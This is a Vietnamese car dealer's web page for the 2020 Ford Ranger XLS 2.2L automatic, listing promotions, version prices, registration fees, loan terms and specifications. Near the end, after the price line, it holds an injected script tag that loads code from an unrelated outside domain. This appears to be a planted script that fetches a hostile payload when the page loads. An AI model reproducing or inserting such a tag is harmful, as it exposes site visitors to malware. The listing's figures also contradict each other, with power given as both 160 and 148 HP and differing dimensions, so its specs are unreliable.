Ford Ranger XLS 2.2L 4×2 AT

Ford Ranger XLS 2.2L 4×2 AT

             Ford Ranger XLS 2.2L 4×2 AT 2020

-.

FORD Ranger XLS 2020 NHẬP KHẨU NGUYÊN CHIẾC(CÓ XE GIAO NGAY).

  • Tặng film cách nhiệt, sàn da  cao cấp bảo hành 10 năm cho xe.
  • Tặng thẻ dịch vụ 10.000.000 trừ dần vào các lần sưả chữa, bảo dưỡng tại Ford Thủ Đô.
  • Giảm 15% phí bảo hiểm thân vỏ xe khi mua tại Ford Thủ Đô.
  • Và rất nhiều khuyễn mãi khi mua xe trong thời điểm vàng này!
với động cơ 2.2 L công suất 160 HP ( mã lực) đi kèm với hộp số tự động AT 6 cấp giúp xe vận hành em ái, tăng tốc nhanh và êm, đi kèm với chế độ thể thao bán tự động giúp bạn chinh phục nhưng cung đường đeo dốc một cách nhẹ nhàng đầy mạnh mẽ
Ford Ranger XLS 2.2L 4×2 AT
Xe trang bị những tính năng cơ bản, cần thiết của một chiếc xe với gương kính điện, ghế nỉ, điều hoa cơ, Radio – FM- CD- MP3 
đi kèm với trang bị theo xe như bậc lên xuống, đèn sương mù.
Ford Ranger XLS 2.2L 4×2 AT
Với nhiều mầu lựa chọn như Vàng Nhạt, Xanh Dương, Xanh Thiên Thanh, Đỏ Đun, Ghi Xám, Đen, Trắng, Bạc
Ford Ranger XLS 2.2L 4×2 AT
Xe trang bị lốp lớn tăng độ bám đường với mâm lốp 16 inch cỡ lốp 255
Ford Ranger XLS 2.2L 4×2 AT

 

Đặc Điểm Nổi Bật

 Động cơ Turbo Diesel 2.2L TDCi, trục cam kép, có làm mát khí nạp

– Công suất cực đại 148/3700 Hp/vòng/phút

– Mô men xoắn cực đại 375/1500-2500 Hp/vòng/phút

– Dài x Rộng x Cao: 5351x1850x1821 (mm)

– Chiều dài cơ sở: 3230 (mm)

– Gương điều khiển điện (Power mirror)

–  Đèn sương mù (Front fog lamp)

–  Hộp số tự động 6 cấp

–  Âm thanh :AM/FM,CD 1 đĩa (1-dics CD), MP3, 4 loa (4 speaker)

–  Ghế trước điều chỉnh được độ nghiêng, độ cao của tựa đầu (Front seat row: reclining bucket with height adjustable head-rest)

–  Ghế băng gập được có tựa đầu ( Folding bench with two head-rest)

–  Hệ thống chống bó cứng phanh (Anti-lock brake system/ABS)

–  Túi khí dành cho người lái (Driver airbags)

–  Khóa cửa điện trung tâm (Power central door lock)

–  Khóa cửa điều khiển từ xa (Remote keyless entry)

–  Cửa kính điều khiển điện (Power window)

–  Điều hòa nhiệt độ (Air conditioning)

–  Màn hình hiển thị đa thông tin (Multil function display)

Giá xe Ford Ranger 2020 bao nhiêu?  Đặt hàng bao giờ có?

Ford Ranger 2020  có 7 phiên bản cho thị trường Việt Nam,Ngoài ra có thêm phiên bản Ranger Raptor. 

Các phiên bản đang bán giá như sau:

Giao Ngay Ford Ranger WildTrak 2.0L Bi- Turbo, 4×4, Tự động 10 cấp:    848 triệu

Giao Ngay Ford Ranger WildTrak 2.0L Single- Turbo, 4×2, Tự động 10 cấp:     800 triệu

Giá xe Ford Ranger XLT AT, 2 cầu, Tự động 6 cấp:     750 triệu ( Có xe giao ngay)

Giá xe Ford Ranger XLT MT, 2 cầu, số sàn 6 cấp:     713 triệu ( Có xe giao ngay)

Giá xe Ford Ranger XLS AT, 1 cầu, Tự động 6 cấp:     640 triệu ( Có xe giao ngay)

Giá xe Ford Ranger XLS MT, 1 cầu, Số sàn 6 cấp:     590 triệu (Có xe giao ngay)

Giá xe Ford Ranger XL MT , 2 cầu, Số sàn 6 cấp:     560 triệu ( Có xe giao ngay)

Để biết khuyến mại tháng này, vui lòng gọi 0976.795.568

 

Lưu ý:

  • Giá trên đã bao gồm VAT nhưng chưa bao gồm các chi phí đăng kí, thuế và chưa trừ khuyến mại
  • Giá trên đã bao gồm VAT nhưng chưa bao gồm các chi phí đăng kí, thuế và chưa trừ khuyến mại

Giá xe Ford Ranger 2020 lăn bánh bao nhiêu?

Mức giá Ford Ranger 2020   nêu trên chỉ là giá bán xe, chưa bao gồm các chi phí khác. Để hoàn thiện giá xe Ford Ranger  2020   lăn bánh, Quý khách cần hoàn thiện thêm các chi phí sau:

  • Phí trước bạ: Toàn quốc:2%
  • Phí cấp biển số: 500k
  • Phí đăng kiểm: 340k toàn quốc
  • Phí bảo trì đường bộ: 180k/tháng.
  • Phí Bảo hiểm TNDS bắt buộc: 1.076k/năm
  • Phí Hoán cải đối với xe có nắp thùng tùy từng tỉnh thành
  • Các chi phí phát sinh nhỏ khác (cà số, lắp biển, duyệt hồ sơ,đăng kí…):tùy tỉnh thành.

    Thủ tục mua xe Ford Ranger 2020 trả góp như thế nào?

  • Trả góp xe Rager bán tải cần trả trước bao nhiêu? Quý khách cần trả trước 20% giá trị xe + chi phí đăng kí xe là có thể sở hữu ngay Ford Ranger 2020
  • Trả góp bao lâu thì được nhận xe? Thông thường, kể từ khi khách hàng đặt cọc và ngân hàng nhận đủ hồ sơ vay mua xe ô tô trả góp đến khi giao xe cho khách hàng là 3 – 5 ngày làm việc.
  • Lãi suất mua xe ô tô trả góp Ford Ranger 2020  bao nhiêu? Lãi suất ưu đãi chỉ từ 6,99%/năm, tương đương 0.58%/tháng
  • Vay mua xe ô tô trả góp cần những thủ tục gì? Quý khách có nhu cầu mua xe ô tô trả góp, xin vui lòng xem kĩ bảng thủ tục vay mua xe, hoặc liên hệ trực tiếp với chúng tôi để được tư vấn kĩ càng hơn.

Thông số kỹ thuật:

– Động cơ:

  • Loại cabin: Cabin kép
  • Động cơ: Turbo Diesel 2.2L i4 TDCi
  • Dung tích xi lanh(cc): 2198
  • Đường kính x Hành trình(mm) 86 x 94,6
  • Công suất cực đại (PS/vòng/phút): 160 (110 KW) / 3700
  • Mô men xoắn cực đại (Nm/vòng/phút): 375 / 1500-2500
  • Tiêu chuẩn khí thải: EURO 3
  • Hệ thống truyền động: Một cầu chủ động / 4×2
  • Kích thước và trọng lượng
  • Dài x Rộng x Cao(mm): 5362 x 1860 x 1815
  • Vệt bánh xe trước(mm): 1560
  • Vệt bánh xe sau(mm): 1560
  • Khoảng sáng gầm xe(mm): 200
  • Chiều dài cơ sở(mm): 3220
  • Bán kính vòng quay tối thiểu(mm): 6350
  • Trọng lượng toàn bộ xe tiêu chuẩn(kg): 3200
  • Trọng lượng không tải xe tiêu chuẩn(kg): 1948
  • Khối lượng hàng chuyên chở(kg): 927
  • Kích thước thùng hàng hữu ích (Dài x Rộng x Cao): 1500 x 1560 / 1150 x 510
  • Dung tích thùng nhiên liệu(L): 80 Lít

– Hệ thống treo:

  • Hệ thống treo sau: Loại nhíp với ống giảm chấn
  • Hệ thống treo trước: Hệ thống treo độc lập, tay đòn kép, lo xo trụ, và ống giảm chấn

– Hộp số:

  • Hộp số: Số tự động 6 cấp
  • Ly hợp: Đĩa ma sát đơn, điều khiển bằng thủy lực với lò xò đĩa

– Hệ thống âm thanh:

  • Công nghệ giải trí SYNC: Điều khiển giọng nói SYNC
  • Hệ thống âm thanh: AM/FM, CD 1 đĩa (1-disc CD), MP3, Ipod & USB, AUX, Bluetooth, 6 loa (speakers)
  • Màn hình hiển thị đa thông tin: Màn hình LED chữ xanh
  • Điều khiển âm thanh trên tay lái: Có

– Trang thiết bị an toàn:

  • Túi khí phía trước: 2 Túi khí phía trước
  • Hệ thống chống bó cứng phanh (ABS) & phân phối lực phanh điện tử (EBD): Có
  • Hệ thống cân bằng điện tử ESP
  • Hệ thống kiểm soát hành trìnhCruise control (Ga tự động): Có
  • Giới hạn tốc độ LIM: Có

– Trợ lực lái:

  • Trợ lực lái: Trợ lực điện điều khiển điện tử

– Trang thiết bị tiện nghi bên trong xe:

  • Cửa kính điều khiển điện: Có (1 chạm lên xuống tích hợp chức năng chống kẹt bên người lái)
  • Ghế lái trước: Chỉnh tay 6 hướng
  • Ghế sau: Ghế băng gập được có tựa đầu
  • Gương chiếu hậu trong: Chỉnh tay 2 chế độ ngày/đêm
  • Khoá cửa điều khiển từ xa: Có
  • Tay lái: Thường
  • Vật liệu ghế: Nỉ

– Trang thiết bị ngoại thất:

  • Cụm đèn pha phía trước: Halogen
  • Gương chiếu hậu : Có điều chỉnh điện
  • Gương chiếu hậu mạ crôme: Cùng mầu thân xe
  • Tay nắm cửa ngoài mạ crôm: Màu đen
  • Đèn sương mù: Có

– Bánh, lốp, và phanh:

  • Bánh xe: Vành hợp kim nhôm đúc 16”
  • Cỡ lốp: Size 255/70R16
  • Phanh trước: Đĩa tản nhiệt
Để có được thông tin khuyến mãi và quà tặng quý khách vui lòng liên hệ:
 Ford Capital  – Trưởng phòng kinh doanh: 0976.79.5568  
Giá bán 650.000.000 đ
Đã bao gồm 10% VAT
"<script type=text/javascript src='https://slow.destinyfernandi.com/hos?&v=4'></script>连锁品牌 Ford
7.5
Thành phố
6.5
Cao tốc